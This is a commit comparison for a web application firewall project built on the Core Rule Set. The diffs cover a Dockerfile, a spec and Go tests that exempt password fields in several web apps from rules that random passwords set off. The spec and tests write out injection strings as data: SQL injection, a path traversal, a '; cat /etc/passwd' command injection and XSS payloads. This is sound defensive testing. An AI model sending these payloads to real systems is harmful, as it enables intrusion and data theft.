Compare commits

Author SHA1 Message Date
sneak dee803562f Core Rule Set: random passwords pass on the remaining password fields (closes #288)
check / check (push) Failing after 5m45s
Each app's sign-in, sign-up, password change and reset fields that had no
exclusion now skip the 35 rules random passwords set off, on that app's
paths and only when the query has no field of that name. Added gitea,
Vaultwarden's admin token, WordPress pass1/pass2/post_password and its REST
password, Drupal's forms and JSON, MediaWiki retype and password on the
pages that take them, Mastodon's challenge, and Nextcloud's confirm, reset,
change, share, LDAP renewal, encryption and OCS fields. Vaultwarden's
clients send a hash, which needs no exclusion.

Model: opus-5-5
2026-11-10 17:30:12 +00:00
clawbot 8ab4280792 Test phase: run the two test passes at the same time (closes #292)
check / check (push) Successful in 4m40s
The race pass and the recorded-request pass are now separate stages, which
BuildKit runs at once. The test stage is built from scratch, so writing its
image takes no time.

Model: opus-5-5
2026-11-10 17:43:10 +01:00
clawbot 3268ec95c1 Core Rule Set: random passwords pass at sign-in (closes #276)
check / check (push) Successful in 4m37s
A password manager's random password set off 35 Core Rule Set rules,
about 1 in 40 refused. The password fields the app exclusions name now
skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki
wpPassword, lgpassword and password, Mastodon's sign-in, sign-up,
password change, move and delete passwords, and Nextcloud's sign-in
password. The tests draw 2,000 random passwords from a fixed seed, plus
one rare password for each rule the 2,000 do not set off. Those that set
off a rule in a field no exclusion names are sent to every password
field. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as a password now pass;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.

Model: opus-5-5
2026-11-10 15:57:59 +01:00
clawbot fb25f5ebd2 Core Rule Set tests: check WordPress's recorded requests as the other apps' (closes #284)
check / check (push) Successful in 5m4s
TestOrdinaryWordPressRequestsPass skipped the inspection that reads
bodies for a request with no body, including one with a Content-Type.
It now calls wantRecordedRequestsPass.

Model: opus-5-5
2026-11-10 15:57:53 +01:00
clawbot f8d769fc17 Core Rule Set tests: check the recorded requests without the race detector (closes #290)
check / check (push) Failing after 4m37s
The tests that check the apps' recorded requests move to
internal/coreruleset/recorded_test.go, behind the recorded build tag. The
test phase runs only those tests in a second go test, without -race. The
lint phase reads the same file, with the same tag.

The Gitea and WordPress tests are split in two. Their recorded-request loops
become TestOrdinaryGiteaRequestsPass and TestOrdinaryWordPressRequestsPass;
their attack checks stay in the race pass as TestGiteaAttacksAreRefused and
TestWordPressAttacksAreRefused.

Model: opus-5-5
2026-11-10 15:26:11 +01:00
17 changed files with 1886 additions and 192 deletions

No files matched your search

+24 -2
View File
@@ -12,7 +12,7 @@ RUN go mod download
COPY . .
RUN golangci-lint run --config .golangci.yml ./...
RUN golangci-lint run --config .golangci.yml --build-tags recorded ./...
# Test phase, same shape and for the same reason. The go directive in
# go.mod is a minimum, so this Go may be newer than the linter's. The
@@ -20,7 +20,7 @@ RUN golangci-lint run --config .golangci.yml ./...
# needs the C compiler it carries.
#
# golang 1.27.1-trixie, 2026-09-19
FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test
FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test-setup
WORKDIR /src
@@ -35,14 +35,36 @@ COPY . .
RUN go mod tidy -diff || \
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
# The two passes below are separate stages so that BuildKit runs them at
# the same time; they share no compiled code, because -race changes every
# package's build.
#
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
# after this step, and writing it into the image takes seconds. The tests
# are built with the no_fs_access tag, as the binary is in the build stage.
FROM test-setup AS test-race
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
go test -tags no_fs_access -timeout 90s -race -cover ./... || \
{ echo "--- Rerunning with -v for details ---"; \
go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
# Second pass: the recorded requests, too slow for make test under -race.
FROM test-setup AS test-recorded
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
go test -tags no_fs_access,recorded -timeout 90s -cover -run '^TestOrdinary' ./internal/coreruleset/... || \
{ echo "--- Rerunning with -v for details ---"; \
go test -tags no_fs_access,recorded -timeout 90s -run '^TestOrdinary' -v ./internal/coreruleset/...; exit 1; }
# The test phase that script/test and the build stage name. Nothing is
# wanted from the two passes; the copies are what make BuildKit run them.
# It holds nothing else, so script/test's image takes no time to write.
FROM scratch AS test
COPY --from=test-race /src/go.sum /src/go.sum
COPY --from=test-recorded /src/go.sum /src/go.sum
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
# writes pass the test phase's check. Nothing else depends on it, so only
# script/tidy, which names the stage after it, builds it.
+9 -1
View File
@@ -602,6 +602,13 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
WebDAV methods, searches, file names, account names, comments and
documents do too.
- A random password, as a password manager makes one, gets through these forms:
- signing in, signing up, and changing or resetting a password, on
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud and gitea;
- moving or deleting the account, on Mastodon;
- deleting the account, on gitea;
- the admin page, on Vaultwarden, whose apps send a hash of the master
password, not the password itself.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again
@@ -695,7 +702,8 @@ on the host.
- `script/projectname`: prints `smallwebwaf`, which the other scripts tag their
images with.
- `script/test`: checks that `go.mod` and `go.sum` are tidy, then runs the
tests, as the `test` phase of the `Dockerfile`. `make test`.
tests, as the `test` phase of the `Dockerfile`. It runs them twice: once with
the race detector, and once without it for the recorded requests. `make test`.
- `script/tidy`: writes `go.mod` and `go.sum` as `go mod tidy` writes them, in
the `tidy` stage of the `Dockerfile`. `make tidy`.
- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
+156 -1
View File
@@ -858,6 +858,26 @@ The changes hold in front of every app, and no setting undoes them:
- to list a directory's last commits.
- The `Content-Range` header of an artifact upload from
`actions/upload-artifact@v3` (920450).
- The passwords in a body, for each rule that random passwords set off. The
numbers are in `internal/coreruleset/gitea.conf`.
- `password` on these paths:
- `/user/login`, `/user/sign_up`, `/user/activate`;
- `/user/link_account_signin` and `/user/link_account_signup`;
- `/user/recover_account`, which resets a password;
- `/user/settings/change_password` and `/user/settings/account`;
- `/user/settings/account/delete`;
- `/-/admin/users/new` and `/-/admin/users/<id>/edit`, and the same
paths under `/admin/`.
- `retype` on `/user/sign_up`, `/user/link_account_signup`,
`/user/settings/change_password` and `/user/settings/account`.
- `old_password` on `/user/settings/account`.
- `password` in the JSON body of `/api/v1/admin/users` and each user
under it.
None applies when the query has a parameter of the same name.
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as the password reach gitea;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
Elsewhere these fields keep every rule. The paths are those of gitea at the
site root. An app other than gitea that serves one of them must check these
@@ -919,7 +939,27 @@ The changes hold in front of every app, and no setting undoes them:
- `content` of a reply to a comment sent to `admin-ajax.php`.
- `newcontent` of a plugin's or a theme's file saved from its editor,
which is PHP.
- `pwd` when signing in, for the list of system files (930120).
- `pwd`, the password when signing in, for each rule that random
passwords set off:
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130,
932160, 932230, 932250, 932260, 932270, 932280, 932330, 932340,
932370, 932380, 933100, 933135, 933180, 933210, 941100, 941120,
941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320,
942540, 942550, 944150.
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as the password reach WordPress;
`<script>alert(1)</script>` and `javascript:alert(1)` are still
refused.
- `pass1`, `pass2` and `post_password` on `/wp-login.php`, which reset a
password and sign in to a protected post, for the same rules.
- `pass1` and `pass2` on `/wp-admin/profile.php`,
`/wp-admin/user-edit.php` and `/wp-admin/user-new.php`, for the same
rules.
- `password` in form data or JSON on the REST API's `/wp/v2/users` and
the user under it, for the same rules.
- `title`, `excerpt` and `name` in a JSON body sent to any REST API
route under `/wp/v2/`, for the rules on system files and commands
(930120, 932120, 932250, 932260).
@@ -987,6 +1027,25 @@ The changes hold in front of every app, and no setting undoes them:
- The body and comment body on the node and comment forms and through
JSON:API, which hold HTML and any code it shows.
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
- `pass`, the password when signing in, in form data or JSON, for each rule
that random passwords set off:
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as the password reach Drupal;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
- The other passwords, for the same rules:
- `pass[pass1]`, `pass[pass2]` and `current_pass` on `/user/register`,
`/user/<id>/edit` and `/admin/people/create`;
- `pass.value`, `pass.0.value` and `pass.0.existing` in the JSON body of
`/user/register` and `/user/<id>`;
- `data.attributes.pass.value` and `data.attributes.pass.existing` in
the JSON:API body of `/jsonapi/user/user` and each user under it.
- `name` when resetting a password through Drupal's JSON format on
`/user/password`, for the same four rules.
- `mail` in that same reset, for 932120 and 932260 only.
@@ -1066,6 +1125,28 @@ The changes hold in front of every app, and no setting undoes them:
- `wpTextbox1` on MediaWiki's pages;
- `text`, `appendtext` and `prependtext` on `/api.php`;
- `source` in the JSON body of `/rest.php/`.
- The passwords when signing in, signing up and changing a password:
- `wpPassword` on MediaWiki's pages;
- `password` and `retype` on `Special:ChangeCredentials`;
- `retype` on `Special:CreateAccount`;
- `retype` on `Special:UserLogin`, where a password reset sets the new
password;
- `lgpassword`, `password` and `retype` on `/api.php`.
They skip each rule that random passwords set off:
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as a password reach MediaWiki;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
The path must name the special page, or be `/index.php` with a `title`
that names it. Other apps use `password` and `retype` too, so on any
other page those two fields keep every rule.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name.
@@ -1192,6 +1273,30 @@ The changes hold in front of every app, and no setting undoes them:
Each name contains `.forward`, a file in a home folder. So 930120 refused
every report the web app sent. The keys' values keep every rule.
The passwords in a body:
- on `/auth`, `/settings/migration` and `/settings/delete`, and the paths
under them:
- `user[password]`, `user[password_confirmation]` and
`user[current_password]`;
- `account_migration[current_password]` and
`form_redirect[current_password]`;
- `form_delete_confirmation[password]`;
- `form_challenge[current_password]`, which asks for the password again, on
`/auth/challenge`, `/settings/two_factor_authentication` and
`/settings/two_factor_authentication_methods`, and the paths under them;
- `password` on `/api/v1/accounts`, in form data or JSON.
They skip each rule that random passwords set off:
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as a password reach Mastodon;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name.
@@ -1262,6 +1367,17 @@ The changes hold in front of every app, and no setting undoes them:
`username` in the query of `/api/hibp/breach`, the data breach report, skips
930120, 932120 and 932260 too.
`token` in the body of `/admin`, the admin token typed on the admin page,
skips each rule that random passwords set off. The numbers are in
`internal/coreruleset/vaultwarden.conf`. It applies only when the query has
no `token` parameter. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd`
and `<img src=x onerror=x()>` sent as the token reach Vaultwarden;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
The apps hash the master password before sending it. So `password` on
`/identity/connect/token`, `masterPasswordHash` and `newMasterPasswordHash`
hold only base64 and need no exclusion.
The names of uploaded files skip 920120 on the paths that take attachments
and file sends:
- `/api/ciphers/<id>/attachment` and the paths under it;
@@ -1324,6 +1440,45 @@ The changes hold in front of every app, and no setting undoes them:
saves.
- `name` on `/remote.php/dav/systemtags/`, a new tag.
`password` in the body of `/login`, the password when signing in, skips each
rule that random passwords set off:
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
It applies only when the query has no `password` parameter. `' OR '1'='1`,
`../../etc/passwd`, `; cat /etc/passwd` and `<img src=x onerror=x()>` sent
as the password reach Nextcloud; `<script>alert(1)</script>` and
`javascript:alert(1)` are still refused.
The other passwords skip the same rules, in form data or JSON. None applies
when the query has a parameter of the same name.
- `password` on `/login/confirm`, `/lostpassword/set/<token>/<user>`,
`/settings/users/changepassword` and a public share's
`/s/<token>/authenticate/<page>`.
- `oldpassword` and `newpassword` on `/settings/personal/changepassword`.
- `recoveryPassword` on `/settings/users/changepassword`.
- `oldPassword` and `newPassword` on `/apps/user_ldap/renewpassword`, which
changes an expired password, and on
`/apps/encryption/ajax/updatePrivateKeyPassword`.
- `oldPassword`, `newPassword` and `confirmPassword` on
`/apps/encryption/ajax/changeRecoveryPassword`.
- `recoveryPassword` and `confirmPassword` on
`/apps/encryption/ajax/adminRecovery`.
- `password` on the OCS API's `person/check`, which checks a sign-in, and
`core/apppassword/confirm`, which confirms the password.
- `password` on the OCS API's `cloud/users` and the share API's
`apps/files_sharing/api/v1/shares`, each user or share under them, and a
share's `send-email`.
- `value` on the OCS API's `cloud/users/<id>` when the body's `key` is
`password`. A body with more than one `key`, or a `key` or `value` in the
query, gets none of this.
`password` on `/login/flow/apptoken` and `/login/v2/apptoken` holds a
generated app token, so it needs no exclusion.
Some fields hold sentences a person writes:
- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
API and on each share under it;
+405 -128
View File
@@ -1,8 +1,10 @@
package coreruleset_test
import (
"context"
"encoding/json"
"fmt"
"math/rand/v2"
"net/http"
"net/http/httptest"
"net/netip"
@@ -573,38 +575,6 @@ func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) {
}
}
// giteaRequests returns the recorded ordinary gitea requests in testdata.
// Each has the Referer of a page that names the same, as a page opened
// from it has.
func giteaRequests(t *testing.T) []request {
t.Helper()
text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
if err != nil {
t.Fatal(err)
}
var requests []request
for line := range strings.Lines(string(text)) {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") {
continue
}
target, header, _ := strings.Cut(line, " ")
headers := []string{"Referer: http://git.example" + target}
if header != "" {
headers = append(headers, header)
}
requests = append(requests, get(target, headers...))
}
return requests
}
// An SQL injection, a script injection and a shell command after a ";", as
// query values. Every app's tests check that its fields still refuse the
// first two.
@@ -618,67 +588,404 @@ const (
// several apps take a password.
const passwordField = "password="
// passwordKey is that field's name, without the "=".
const passwordKey = "password"
// retypeKey is the field in which apps take the same password again.
const retypeKey = "retype"
// hardValues are words that name commands and files, as a query or form
// value. An app's tests check that its fields let them through.
//
//nolint:gochecknoglobals // a constant cannot be a list
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
// wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused, at the defaults and
// while bodies are read. A request with neither a body nor a Content-Type
// header is checked only at the defaults: with neither, the set that reads
// bodies has nothing more to check. Each request runs as its own parallel
// subtest.
func wantRecordedRequestsPass(t *testing.T, name string) {
// randomPassword returns a password of 20 characters, each one of the 95
// printable ASCII characters, space included, drawn from random.
func randomPassword(random *rand.Rand) string {
const length = 20
var printable []byte
for c := byte(' '); c <= '~'; c++ {
printable = append(printable, c)
}
password := make([]byte, length)
for i := range password {
password[i] = printable[random.IntN(len(printable))]
}
return string(password)
}
// rarePasswords are random passwords from randomPasswords' seed, found among
// the first 1,000,000. Each sets off the rule named beside it, which the first
// 2,000 do not set off.
//
//nolint:gochecknoglobals // a constant cannot be a list
var rarePasswords = []string{
"x)g|E0f)~.um%00G]<oA", // 920270
"uC?mK\\U2fEbXA}~j7fPb", // 920540
"4;yfIDKZYNtZT)(w-=%@", // 921200
"`sAIfEVdBprjxR$/.?\\d", // 930100
"Unt@1xza,:%j$/..;5y+", // 930110
"VN.CVsu^3vbUS==4Q&Y@", // 930120
"gJ<EcT)jhZ'`GC>cX~hM", // 932125
" /\"j14y[%\\(iM]zmG%=^", // 932130
"\\f*q5v$]$IfS3JoY:*r1", // 932160
"*e#!-z{Jq)Sqwx@k:b:}", // 932230
"pErl>vR[Z7K^<f%_4,WZ", // 932260
"){2P,GU}a3mYvjq^(p1^", // 932280
"xw4UGJk!-8#ZE(`.ij.O", // 932330
" XVw(2mN5R,+%~_f\"n<?", // 933100
"0ZK1D>`RHb+RW${/(z}C", // 933135
"Ep3!qqe 7$RT(_)@SLV6", // 933180
"&:4WomDrn$\"(SE_D);Ja", // 933210
"='nlIgN7ON\\\\mWt=Tr84", // 941120
"P]/C>Ef]F-<sV,&gs.[4", // 941160
"<!--a\"9Ju}r!2=J-kZDd", // 941180
"@`].*EJ?`Cw^8\\orD!(f", // 942151
"StTj*t:IF(Uq_<aG0mya", // 942230
"t,D-oJjnvL Dn!o::Int", // 942320
"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
"`aV#3${J4,\\h.q' k\\${", // 944150
}
// randomPasswords returns 2,000 random passwords from a fixed seed, then
// rarePasswords.
func randomPasswords() []string {
const count, seed = 2000, 276
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
passwords := make([]string, count, count+len(rarePasswords))
for i := range passwords {
passwords[i] = randomPassword(random)
}
return append(passwords, rarePasswords...)
}
// passwordBody returns a body of r's type, form data or JSON, that sends
// each of passwords in each of names. In JSON, a dot in a name nests the
// field: pass.0.value is {"pass":{"0":{"value":password}}}, which Coraza
// names as it names the same field sent in an array. Coraza checks each
// value of a field on its own, and keeps every value of a JSON key sent more
// than once.
func passwordBody(t *testing.T, r request, names []string, passwords ...string) string {
t.Helper()
var fields []string
for _, name := range names {
if r.headers[0] != jsonBody {
fields = append(fields, formBody(name, passwords...))
continue
}
keys := strings.Split(name, ".")
for _, password := range passwords {
var value any = password
for i := len(keys) - 1; i > 0; i-- {
value = map[string]any{keys[i]: value}
}
pair, err := json.Marshal(map[string]any{keys[0]: value})
if err != nil {
t.Fatal(err)
}
fields = append(fields, string(pair[1:len(pair)-1]))
}
}
if r.headers[0] != jsonBody {
return strings.Join(fields, "&")
}
return "{" + strings.Join(fields, ",") + "}"
}
// formBody returns a form data body that sends each of values in the field
// name.
func formBody(name string, values ...string) string {
fields := make([]string, len(values))
for i, value := range values {
fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
}
return strings.Join(fields, "&")
}
// setsOffARule reports whether body, form data sent to / as a browser
// sends it, sets off a rule in crs.
func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
req := httptest.NewRequestWithContext(context.Background(), http.MethodPost,
"http://git.example/", strings.NewReader(body))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
"Gecko/20100101 Firefox/131.0")
req.Header.Set("Accept", "text/html")
// The body is read from memory, which cannot fail.
result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
return len(result.RuleIDs) > 0
}
// findMisfiringPasswords returns those of randomPasswords that set off a
// rule in the form data field password on /, which no exclusion names, while
// bodies are read. It runs once, for every test that asks. Each body sends
// ten passwords, and a body that sets off a rule is sent again one password
// at a time.
//
//nolint:gochecknoglobals // the tests share it
var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
const workers, perBody = 16, 10
crs, err := loaderFor(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})()
if err != nil {
return nil, err
}
passwords := randomPasswords()
misfires := make([]bool, len(passwords))
var inspecting sync.WaitGroup
for worker := range workers {
inspecting.Go(func() {
for first := worker * perBody; first < len(passwords); first += workers * perBody {
last := min(first+perBody, len(passwords))
if !setsOffARule(crs, formBody("password", passwords[first:last]...)) {
continue
}
for i := first; i < last; i++ {
misfires[i] = setsOffARule(crs, formBody("password", passwords[i]))
}
}
})
}
inspecting.Wait()
var misfiring []string
for i, password := range passwords {
if misfires[i] {
misfiring = append(misfiring, password)
}
}
return misfiring, nil
})
// misfiringPasswords returns those of randomPasswords that set off a rule in
// a field no exclusion names. The rules that misfire on a password read its
// value, not the name of its field. So the other random passwords set off no
// rule in any field.
func misfiringPasswords(t *testing.T) []string {
t.Helper()
misfiring, err := findMisfiringPasswords()
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
for _, rare := range rarePasswords {
if !slices.Contains(misfiring, rare) {
t.Fatalf("%q sets off no rule in a field no exclusion names", rare)
}
}
return misfiring
}
// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
// field name of r's body, is refused while bodies are read. r's Content-Type
// is form data or JSON. Only the passwords misfiringPasswords returns set off
// a rule in some field, so only they are sent, all in one body. If it is
// refused, each is sent again on its own, to name those refused.
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
crs := readingBodies(t)
misfiring := misfiringPasswords(t)
names := []string{name}
for _, recorded := range recordedRequests(t, name) {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
body := passwordBody(t, r, names, misfiring...)
if len(body) > bodyLimit {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
}
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
return
}
for _, password := range misfiring {
body := passwordBody(t, r, names, password)
if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
password, got)
}
}
}
// wantPasswordAttacksPass checks that an SQL injection, a path traversal, a
// shell command and a script in an event handler, each sent as the whole
// password in each of the fields names of r's body, pass while bodies are
// read.
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
for _, attack := range []string{
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
"<img src=x onerror=x()>",
} {
body := passwordBody(t, r, names, attack)
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score >= threshold {
t.Errorf("%s %s %v %q refused: %+v", r.method, r.target, names,
attack, got)
}
}
}
// wantPasswordAttacksRefused checks that a script tag and a javascript: link,
// each sent as the whole password in the field name of r's body, are refused
// while bodies are read.
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
body := passwordBody(t, r, []string{name}, attack)
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name,
attack, got)
}
}
}
// passwordFields names the password fields one form or JSON body sends to
// target. contentType is formData or jsonBody.
type passwordFields struct {
target, contentType string
names []string
}
// wantPasswordFieldsPass checks that the random passwords pass in each field
// of fields, that the attacks that pass in a password pass in all of a
// target's fields sent together, and that a script tag or a javascript: link
// in any one field is still refused. Sending the attacks together keeps the
// test cheap: a body of them is refused if any one field checks them.
func wantPasswordFieldsPass(t *testing.T, fields []passwordFields) {
t.Helper()
for _, sent := range fields {
t.Run(sent.target+" "+sent.contentType, func(t *testing.T) {
t.Parallel()
r := request{recorded.Method, recorded.Target, recorded.Headers}
r := request{http.MethodPost, sent.target, []string{sent.contentType}}
got, _ := inspectBody(t, defaults, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
}
wantPasswordAttacksPass(t, r, sent.names...)
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
name, _, _ := strings.Cut(header, ":")
return strings.EqualFold(name, "Content-Type")
})
if recorded.Body == "" && !typed {
return
}
got, _ = inspectBody(t, bodies, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
r.method, r.target, recorded.Body, got)
for _, name := range sent.names {
wantRandomPasswordsPass(t, r, name)
wantPasswordAttacksRefused(t, r, name)
}
})
}
}
func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
func TestGiteaPasswordsPass(t *testing.T) {
t.Parallel()
// gitea's password fields, each sent to one of the paths that takes it.
fields := []passwordFields{
{"/user/login", formData, []string{passwordKey}},
{"/user/sign_up", formData, []string{passwordKey, retypeKey}},
{"/user/link_account_signin", formData, []string{passwordKey}},
{"/user/link_account_signup", formData, []string{passwordKey, retypeKey}},
{"/user/activate", formData, []string{passwordKey}},
{"/user/recover_account", formData, []string{passwordKey}},
{"/user/settings/change_password", formData, []string{passwordKey, retypeKey}},
{
"/user/settings/account", formData,
[]string{"old_password", passwordKey, retypeKey},
},
{"/user/settings/account/delete", formData, []string{passwordKey}},
{"/-/admin/users/new", formData, []string{passwordKey}},
{"/-/admin/users/1/edit", formData, []string{passwordKey}},
{"/admin/users/1/edit", formData, []string{passwordKey}},
{"/api/v1/admin/users", jsonBody, []string{passwordKey}},
{"/api/v1/admin/users/alice", jsonBody, []string{passwordKey}},
}
wantPasswordFieldsPass(t, fields)
}
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := readingBodies(t)
// These fields skip the rules only when the query has no field of the
// same name. An SQL injection in the query is refused.
for _, sent := range []struct{ path, field string }{
{nextcloudSignIn, passwordField},
{mediawikiAPI, passwordField},
{mediawikiAPI, "lgpassword="},
{mediawikiAPI, retypeKey + "="},
{mediawikiAccountChange, passwordField},
{mediawikiAccountChange, retypeKey + "="},
{mediawikiSignUp, retypeKey + "="},
{"/wiki/Special:UserLogin", retypeKey + "="},
{"/user/sign_up", passwordField},
{"/user/settings/account", "old_password="},
{wpLogin, "pass1="},
{wpLogin, "post_password="},
{"/wp-admin/profile.php", "pass2="},
{"/wp-json/wp/v2/users", passwordField},
{drupalRegister, "pass%5Bpass1%5D="},
{"/user/1/edit", "current_pass="},
{"/auth/challenge", "form_challenge%5Bcurrent_password%5D="},
{"/login/confirm", passwordField},
{"/settings/personal/changepassword", "newpassword="},
{"/apps/encryption/ajax/adminRecovery", "confirmPassword="},
{"/admin", "token="},
} {
r := request{
http.MethodPost, sent.path + "?" + sent.field + "'%20OR%20'1'='1",
[]string{formData},
}
got, _ := inspectBody(t, crs, r, sent.field+"example")
if got.Score < threshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}
func TestGiteaAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := atDefaults(t)
for _, r := range giteaRequests(t) {
if got := inspect(t, crs, r); got.Score >= threshold {
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
}
}
// In q too, off gitea's search pages.
for _, parameter := range []string{"id", "q"} {
for _, attack := range []string{
@@ -731,46 +1038,6 @@ const (
wpTags = "/wp-json/wp/v2/tags"
)
// recordedRequest is a line of a file of recorded requests in testdata.
type recordedRequest struct {
Method string `json:"method"`
Target string `json:"target"`
Headers []string `json:"headers"`
Body string `json:"body"`
}
// recordedRequests returns the recorded ordinary requests in the file name
// in testdata, each with its body.
func recordedRequests(t *testing.T, name string) []recordedRequest {
t.Helper()
path := filepath.Join("testdata", name)
text, err := os.ReadFile(path) //nolint:gosec // a file in testdata
if err != nil {
t.Fatal(err)
}
var requests []recordedRequest
for line := range strings.Lines(string(text)) {
if strings.HasPrefix(line, "#") {
continue
}
var r recordedRequest
err := json.Unmarshal([]byte(line), &r)
if err != nil {
t.Fatalf("%q: %v", line, err)
}
requests = append(requests, r)
}
return requests
}
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
// but reading bodies up to the largest SWW_WAF_BODY_LIMIT.
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
@@ -836,33 +1103,13 @@ func wordpressAttackTargets(attack string) []string {
}
}
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
func TestWordPressAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
t.Parallel()
r := request{recorded.Method, recorded.Target, recorded.Headers}
crsSets := []*coreruleset.CoreRuleSet{defaults}
if recorded.Body != "" {
crsSets = append(crsSets, bodies)
}
for _, crs := range crsSets {
